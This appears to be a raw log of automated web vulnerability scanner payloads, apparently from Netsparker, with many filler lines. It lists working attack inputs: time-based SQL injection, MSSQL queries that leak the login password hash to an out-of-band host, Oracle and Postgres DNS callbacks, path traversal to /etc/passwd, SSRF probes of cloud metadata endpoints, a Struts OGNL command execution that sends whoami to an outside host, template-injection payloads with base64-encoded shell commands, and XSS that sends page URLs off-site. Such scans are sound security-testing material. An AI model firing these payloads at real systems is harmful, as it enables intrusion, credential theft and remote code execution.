'{${print(int)0xFFF9999-6459}}'
exec('xp_dirtree ''\\euwnqj-pmxxfniyhuftyl1xz5apj2b8lczks-m08'+'ely.r87.me'+'\c$\a''')
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 6f42088e-ebca-4f39-9592-6cf61ad4cdc4 */
3
/../../../../../../../../../../windows/win.ini
3
'{${print(int)0xFFF9999-74316}}'
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.euwnqj-pmxpypwt2moq54gitllbtixor2rehf9py'+'_wc.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 68e7c921-5f3d-442e-8c28-4404fa126c48 */
file:///windows/win.ini
3
[php]print(int)0xFFF9999-22743;[/php]
3
-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* d145cc54-663f-4401-81e2-108a789bbcdb */
1;exec('xp_dirtree ''\\euwnqj-pmxdxildghscgso0nbfkeabpaoxxdxadx'+'wnw.r87.me'+'\c$\a''')--
[php]print(int)0xFFF9999-41283;[/php]
3
http://45.114.117.227:8000/trace.axd
/../../../../../../../../../../windows/win.ini .php
-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* f0a00360-2084-47dd-b8a7-7cf43f24334f */
-1';exec('xp_dirtree ''\\euwnqj-pmx1gpjt8uxemfl1dtq25i-oslxza-hke'+'qoe.r87.me'+'\c$\a''')--
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='36467').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
c:\windows\win.ini
3
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* a8600c11-194a-4b32-9ef3-c9264475253a */
print localtime()*0+0xFFF9999-64769
1) exec('xp_dirtree ''\\euwnqj-pmxmrryblpwcy0hh0m1gqmpxf-vfrwfue'+'lty.r87.me'+'\c$\a''')--
45.114.117.227:8000/trace.axd
3
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
3
-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* dc8b5a5c-ad2f-44e2-8551-18a0af063823 */
1')exec('xp_dirtree ''\\euwnqj-pmxyevexm5vbmohaeaebbfglierfmyrxc'+'3rc.r87.me'+'\c$\a''')--
3
3
3
-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* d09fc1d0-d587-4111-91bb-9182af666299 */
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
3
1))exec('xp_dirtree ''\\euwnqj-pmx2d4x8la40suiavvzy9gwtrbnndrpij'+'geu.r87.me'+'\c$\a''')--
45.114.117.227/trace.axd
3
3
-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" /* 0060e61f-cd7a-4351-8cd1-214a9abbd93b */
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
1'))exec('xp_dirtree ''\\euwnqj-pmxncq7qeekuzdj7mo0l9hq_3i5tdm20_'+'fqq.r87.me'+'\c$\a''')--
3
print localtime()*0+0xFFF9999-86992
127.100.11.2/trace.axd
syscolumns WHERE 2>3;exec('xp_dirtree ''\\euwnqj-pmxdhxnvjbyj8jfkam85qrcikxkhjqmq7'+'jsk.r87.me'+'\c$\a''')--
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 9486b590-7bbb-4e06-ab50-9976765beddd */
3
eval('print localtime()*0+0xFFF9999-63600')
127.0.0.1/trace.axd
/../../../../../../../../../../windows/iis6.log
') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 56bb6a5c-3f20-4925-9ac9-865a2c9c2f32 */
3
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','euwnqj-pmxgh8bq1d_zzn7hpk4u7j7psyo0dwrlp'+'rg4.r87.me')exec sp_executesql @r
eval('print localtime()*0+0xFFF9999-33765')
[::1]/trace.axd
/../../../../../../../../../../proc/self/fd/2
'+print localtime()*0+0xFFF9999-39888+'
' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* c5a8ebd4-1e18-4f14-a7e9-cb63f5173e51 */
3
http://45.114.117.227:8000/elmah.axd
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','euwnqj-pmxlvhhjac1fz_-2bqka_vwsaigd28ryf'+'nue.r87.me')exec sp_executesql @r--
/../../../../../../../../../../proc/self/fd/2 .php
'+print localtime()*0+0xFFF9999-62606+'
3
' AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 45f9e052-c020-4761-85b3-5b0ba8d2cac0 */
45.114.117.227:8000/elmah.axd
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','euwnqj-pmxp8ott3fexe5od6uye4c7e3gr8i4c4g'+'gns.r87.me')exec sp_executesql @r--
/../../../../../../../../../../etc/httpd/logs/error.log
"+print localtime()*0+0xFFF9999-88747+"
3
45.114.117.227/elmah.axd
3
SELECT dblink_connect('host=euwnqj-pmxnqybu2xmswj0szmldzf-msk_5w6cqk'||'rm0.r87.me user=a password=a connect_timeout=2')
'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* dbb0179e-5511-4929-b612-259744297c7b */
"+print localtime()*0+0xFFF9999-34090+"
/../../../../../../../../../../etc/httpd/logs/error_log
127.100.11.2/elmah.axd
dblink_connect('host=euwnqj-pmx2bopx8w5wbolkwsrlfys7zunrpqswt'||'abo.r87.me user=a password=a connect_timeout=2')
3
'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* 118e7abf-08a6-41d5-bdfe-1ea5245b009f */
arguments[1].end(require('child_process').execSync('expr 268409241 - 46407'))
127.0.0.1/elmah.axd
/../../../../../../../../../../var/log/apache2/error.log
3
arguments[1].end(require('child_process').execSync('expr 268409241 - 85203'))
[::1]/elmah.axd
3
/../../../../../../../../../../var/log/apache/error.log
arguments[1].end(require('child_process').execSync('set /A 268409241 - 81451'))
http://45.114.117.227:8000/elmah
3
/../../../../../../../../../../proc/version
arguments[1].end(require('child_process').execSync('set /A 268409241 - 51719'))
cast((SELECT dblink_connect('host=euwnqj-pmx_img9c94_o2fij1iluxtoqwyk87npc'||'hja.r87.me user=a password=a connect_timeout=2')) as numeric)
3
45.114.117.227:8000/elmah
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-24735)}
3
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(101)||chr(117)||chr(119)||chr(110)||chr(113)||chr(106)||chr(45)||chr(112)||chr(109)||chr(120)||chr(49)||chr(105)||chr(49)||chr(113)||chr(106)||chr(102)||chr(112)||chr(101)||chr(100)||chr(110)||chr(111)||chr(116)||chr(107)||chr(49)||chr(110)||chr(115)||chr(109)||chr(50)||chr(48)||chr(119)||chr(49)||chr(100)||chr(114)||chr(111)||chr(118)||chr(100)||chr(116)||chr(111)||chr(114)||chr(122)||chr(52)||chr(100)||chr(117)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
45.114.117.227/elmah
3
'||(SELECT dblink_connect('host=euwnqj-pmxqaw-x6xqtj_xa1djapgfd7ltulcmdp'||'iem.r87.me user=a password=a connect_timeout=2'))||'
/../../../../../../../../../../proc/version .php
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-16523)}
3
127.100.11.2/elmah
/../../../../../../../../../../../etc/passwd
(select UTL_INADDR.GET_HOST_ADDRESS('euwnqj-pmxldulv8gnjnauos5dzqchq3j3rts_k3'||'u3o.r87.me') from DUAL)
p "#{0xFFF9999.to_i-`echo 81857`.to_i}"
3
/../../../../../../../../../../../etc/passwd
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('euwnqj-pmxrw3drwwp0ilhqek6ffgtt49lrb8sw3'||'j80.r87.me') from DUAL))))
3
p "#{0xFFF9999.to_i-`echo 21558`.to_i}"
127.0.0.1/elmah
file:///etc/passwd
3
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('euwnqj-pmxlzn7hdt0nvv8fxkqjkytixzqr9qwo8'||'xla.r87.me') from DUAL))||'
__import__('os').popen(('expr 268409241 - {0}').format('64678')).read()
/../../../../../../../../../../../etc/passwd
(select UTL_INADDR.GET_HOST_ADDRESS(chr(101)||chr(117)||chr(119)||chr(110)||chr(113)||chr(106)||chr(45)||chr(112)||chr(109)||chr(120)||chr(111)||chr(98)||chr(97)||chr(57)||chr(121)||chr(104)||chr(121)||chr(104)||chr(114)||chr(112)||chr(50)||chr(105)||chr(105)||chr(49)||chr(118)||chr(49)||chr(98)||chr(52)||chr(54)||chr(119)||chr(104)||chr(101)||chr(105)||chr(49)||chr(121)||chr(103)||chr(104)||chr(118)||chr(122)||chr(117)||chr(110)||chr(107)||chr(111)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
3
[::1]/elmah
__import__('os').popen(('expr 268409241 - {0}').format('92251')).read()
/../../../../../../../../../../../etc/passwd .php
3
__import__('os').popen(('SET /A 268409241 - {0}').format('33385')).read()
http://aws.r87.me/latest/meta-data/public-hostname
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(101)||chr(117)||chr(119)||chr(110)||chr(113)||chr(106)||chr(45)||chr(112)||chr(109)||chr(120)||chr(48)||chr(49)||chr(113)||chr(102)||chr(111)||chr(95)||chr(106)||chr(54)||chr(97)||chr(121)||chr(116)||chr(97)||chr(98)||chr(114)||chr(45)||chr(117)||chr(108)||chr(114)||chr(105)||chr(122)||chr(120)||chr(95)||chr(121)||chr(116)||chr(48)||chr(107)||chr(118)||chr(95)||chr(57)||chr(116)||chr(109)||chr(114)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
__import__('os').popen(('SET /A 268409241 - {0}').format('40025')).read()
http://169.254.169.254/latest/meta-data/public-hostname
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
gethostbyname(trim('euwnqj-pmxojvxnfngtsrr7wt6xnhbokwhgz0rl3'.'jpu.r87.me'))
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(101)||chr(117)||chr(119)||chr(110)||chr(113)||chr(106)||chr(45)||chr(112)||chr(109)||chr(120)||chr(52)||chr(108)||chr(116)||chr(115)||chr(102)||chr(110)||chr(113)||chr(113)||chr(102)||chr(102)||chr(109)||chr(110)||chr(121)||chr(108)||chr(45)||chr(97)||chr(53)||chr(100)||chr(55)||chr(50)||chr(108)||chr(119)||chr(45)||chr(107)||chr(102)||chr(104)||chr(105)||chr(115)||chr(109)||chr(48)||chr(117)||chr(110)||chr(111)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
gethostbyname(trim('euwnqj-pmx6pdl2jxeuvg4w7zmfgwnsnkq0oj62s'.'5ui.r87.me'));
http://127.0.0.1:22
+gethostbyname(trim('euwnqj-pmx5nrh-pobcmjuiash4s46i5csybt3c8'.'0dq.r87.me'));//
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
http://45.114.117.227:22
'+gethostbyname(trim('euwnqj-pmxq0kvf63b65nxja8-n419dspqca2p0w'.'6ze.r87.me'))+'
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
http://[::1]:22
"+gethostbyname(trim('euwnqj-pmxyi9lby7jybgv2xmwgyyvdypiiw-vfv'.'zua.r87.me'))+"
<? gethostbyname(trim('euwnqj-pmx6lflhgdtzkd1auxxhsrqcxqprymkon'.'qvq.r87.me'));//?>
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
http://127.0.0.1:3306
'{${gethostbyname(trim('euwnqj-pmxlrdtixhjxwi3dqwi_4gztefsnagwcb'.'srm.r87.me'))}}'
3/../../../../../../../../../../../etc/passwd
http://45.114.117.227:3306
createobject("WScript.Shell").exec("nslookup euwnqj-pmx_htbemlq0ee-pwlwpx2n4fym7veacx" & "dbe.r87.me").StdOut.ReadAll
/etc/passwd
http://[::1]:3306
+createobject("WScript.Shell").exec("nslookup euwnqj-pmxedfjukelzxwtem-f3h15f3l0ux0iyd" & "v_q.r87.me").StdOut.ReadAll
%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
http://45.114.117.227:8000/server-status
+createobject("WScript.Shell").exec("nslookup euwnqj-pmxzn1qak802ga4adu-xozjzlpufmlpmu" & "trq.r87.me").StdOut.ReadAll+
data:;base64,TlM3NzU0NTYxNDQ2NTc1
comments
<%createobject("WScript.Shell").exec("nslookup euwnqj-pmxqrjica-dcbduju8hzpie3im8wqbsuu" & "gky.r87.me").StdOut.ReadAll%>
http://169.254.169.254/opc/v1/instance
"+createobject("WScript.Shell").exec("nslookup euwnqj-pmxnzsmykh2wmrmbhxy-alquabgs9o0d-" & "uum.r87.me").StdOut.ReadAll+"
https://metadata.packet.net/metadata
comments
gethostbyname(lc 'euwnqj-pmxhhr-ha4a7pnxxlmvelzdoens0dlgy0'.'xsu.r87.me')
WEB-INF/web.xml
https://metadata.platformequinix.com/metadata
eval('gethostbyname(lc 'euwnqj-pmxnuw8vckafztr0ijk6bsdrqmzzp7y-p'.'1jy.r87.me')')
/../../../../../../../../../../WEB-INF/web.xml
'+gethostbyname(lc 'euwnqj-pmx6kg8q80tgenbfzejjqg46wm0s3ypsv'.'nte.r87.me')+'
"+gethostbyname(lc 'euwnqj-pmx79cbmnhcw_i7wtbcnm4wfp686l4s-c'.'wbu.r87.me')+"
/../../../../../../../../../../var/log/apache2/access.log
nslookup euwnqj-pmxgw8o3uyujwecse4yr09od0ro2hyfmc^484.r87.me&'\"`0&nslookup euwnqj-pmxgw8o3uyujwecse4yr09od0ro2hyfmc^484.r87.me&`'
/../../../../../../../../../../etc/httpd/logs/access.log
& nslookup euwnqj-pmx47p0suwtw5qnm1wwtxx_obpgtrxf-x^0xq.r87.me&'\"`0&nslookup euwnqj-pmx47p0suwtw5qnm1wwtxx_obpgtrxf-x^0xq.r87.me&`'
/../../../../../../../../../../var/log/nginx/access.log
'& nslookup euwnqj-pmxco6a2bbzvl6kuf9u7s3l9rhdr47jzt^j3s.r87.me&'\"`0&nslookup euwnqj-pmxco6a2bbzvl6kuf9u7s3l9rhdr47jzt^j3s.r87.me&`'
/../../../../../../../../../../opt/lampp/logs/access_log
"& nslookup euwnqj-pmxy10hj4qpjmcyoxmsexggwkomdg8uar^gf4.r87.me&'\"`0&nslookup euwnqj-pmxy10hj4qpjmcyoxmsexggwkomdg8uar^gf4.r87.me&`'
/../../../../../../../../../../var/log/lighttpd/access.log
nslookup "euwnqj-pmxmalhmsub_f5ogtkr_9gzm60fzbjwaw""khk.r87.me"
&nslookup "euwnqj-pmxrfh1ilm1r-o7fvjvuukjb2tz2oehjg""9e4.r87.me"
/../../../../../../../../../../AppServ/Apache24/logs/access.log
../../../../../../../../../../xampp/apache/logs/access.log
'&nslookup "euwnqj-pmxw_sbiiauhqlz5ol2febxzw4-5rbsvz""a0a.r87.me"
/../../../../../../../../../../var/log/apache/access.log
"&nslookup "euwnqj-pmxjvjsz71sntmoihcxahdglbx-isol65""c1s.r87.me"
|nslookup${IFS}"euwnqj-pmxhjnweun5me3dcalorockc2ekjc3jbz""tfi.r87.me"
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."euwnqj-pmxf4r5owtrzfavzamjvk1r_75wyute1l""vsi.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
3
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "euwnqj-pmxkrt3f1htvkkwh5vdys7l-lye3oblti"rj4.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgZXV3bnFqLXBteGJ5eWl3ZnV1LW1pdHBsd2R5cHRnM2p3LW9rb3Zlb3dtdS5yODcubWU=')).read()}}
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnWlhWM2JuRnFMWEJ0ZUhGbVpqUjVNWHBvWlcxemQyaGxkV1kyWW5oMlpqZHlPR0p3ZDJObWEyNW5jUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgZXV3bnFqLXBteDVpcnd6bGU4ejV6dWpoMDUyZGo2eF9rc3phY21wbXNpZy5yODcubWU=','base64').toString())
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgZXV3bnFqLXBteGkzamptYmt3a3RndG1zNXpjNnZrczZjcHJxZngwcHZkMC5yODcubWU=','base64').toString()) %>
3
{php}Smarty_Resource::parseResourceName(system("nslookup euwnqj-pmxtmzdpf8qylq6omxvvbltou9emp_sdc"."a5c.r87.me"),'b');{/php}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup euwnqj-pmxutdy3hv5kmldq6dhmmxcimliqrxd33"~"pxa.r87.me")}}
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgZXV3bnFqLXBteGZtcmZpM2NhMXNiLW9vM3Bzazh4cDlrZW93cHloandicS5yODcubWU=')})).to_s}" %>
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgZXV3bnFqLXBteGMzdTNkeXhvMGFmdXNhNmkwN3M2NnFmd29zNmhyLXFlZy5yODcubWU=|{base64,--decode})}") }
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup euwnqj-pmx6jz47tic5xzbz9yutminiwwdxygy4r"+"_ys.r87.me") }
require 'resolv';Resolv.getaddress ("euwnqj-pmxb21sufmeiyqkxzk2e_kv4b0_kk97ty".concat "ig8.r87.me")
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgZXV3bnFqLXBteGJ5cGx5am1rLXh2Y2p1YjNkYXRoMm95ZWJ6eTlmOHItdS5yODcubWU=')).read()
require('dns').lookup('euwnqj-pmxdcnv7dziux0bna1dzvsdd0xshqjdwi'.concat('gzg.r87.me'),_=>_)
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup euwnqj-pmxbw3wmo_zumvhmashtedjjuf4xgjuac'+'v7q.r87.me')}
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
n3tsp4rke2
<scRipt>netsparker(0x004584)</scRipt>
3
3
'"--></style></scRipt><scRipt>netsparker(0x004589)</scRipt>
%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x00458D%29%3C%2FscRipt%3E
%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x00458E%29%3C%2FscRipt%3E
data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDA0NThGKTwvc2NyaXB0Pg==
data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDA0NTkwKTwvc2NyaXB0Pg==
'" ns=netsparker(0x004591)
1 ns=netsparker(0x004593)
'><net sparker=netsparker(0x00459D)>
"><net sparker=netsparker(0x00459F)>
<iMg src=N onerror=netsparker(0x0045A1)>
javascript:netsparker(0x0045A3)
<scRipt>ns(0x0045A5)</scRipt>
*/netsparker(0x0045A7);/*
'+netsparker(0x0045A9)+'
"+netsparker(0x0045AB)+"
\';netsparker(0x0045AD);///
',netsparker(0x0045AF),'
netsparker(0x0045B1)
netsparker(0x0045B3);
'+netsparker(0x0045B5)+'
'"@--></style></scRipt><scRipt>netsparker(0x0045B7)</scRipt>
%22%2bnetsparker(0x0045CD)%2b%22
<html xmlns="http://www.w3.org/1999/xhtml"><script>netsparker(0x0045D7)</script></html>
//r87.com/?0x0045D9
//r87.com/?0x0045DA
<a HrEf=JaVaScRiPt:netsparker(0x0045DB)>
ns@mail.ns'"/>()%26%25<ScRiPt >netsparker(0x0045DD)</ScRiPt>
Content-Type:text/html <scRipt>ns(0x0045DF)</scRipt>
<frame src="javascript:netsparker('netsparker(0x0045E1)')"></frame>
<scr<script>ipt>netsparker(0x0045E3)</scr</script>ipt>
<iframe src="javascript:ns(0x0045E5)"></iframe>
"><x oncut=ns(450)>
"><x oncut=ns(830)>
//r87.com/n/j/?0x0045E7
//r87.com/n/j/?0x0045E8
\";netsparker(0x0045E9);///
'"--></style></scRipt><scRipt>netsparker(0x0045ED)</scRipt>
3
3
3
3
'"--></style></scRipt><scRipt>netsparker(0x0045EE)</scRipt>
3
3
3
3
3
3
3
3
3
3
3
3
3
3
'"--></style></scRipt><scRipt src="//euwnqj-pmxkz3cg4z5fgprzq-giknmdpy-fmjfwj6ck.r87.me"></scRipt>
3
3
<iMg src=N onerror="this.onerror='';this.src='//euwnqj-pmxtho-rcgdmmzf5im_m00ahfmjwk3usa'+'_9w.r87.me/r/?'+location.href">
3
3
3
<iMg src="//r87.me/images/1.jpg" onload="this.onload='';this.src='//euwnqj-pmx1lgja_ywesjjb6co3aqqkel4d0hwth'+'ezm.r87.me/r/?'+location.href">
3
3
3
3
3
<fRame src=N onload="this.onload='';this.src='//euwnqj-pmxmp9agziasdzqcopw31kl5sqdfojy-z'+'blq.r87.me/r/?'+location.href">
3
3
Test
<script>alert(1)</script>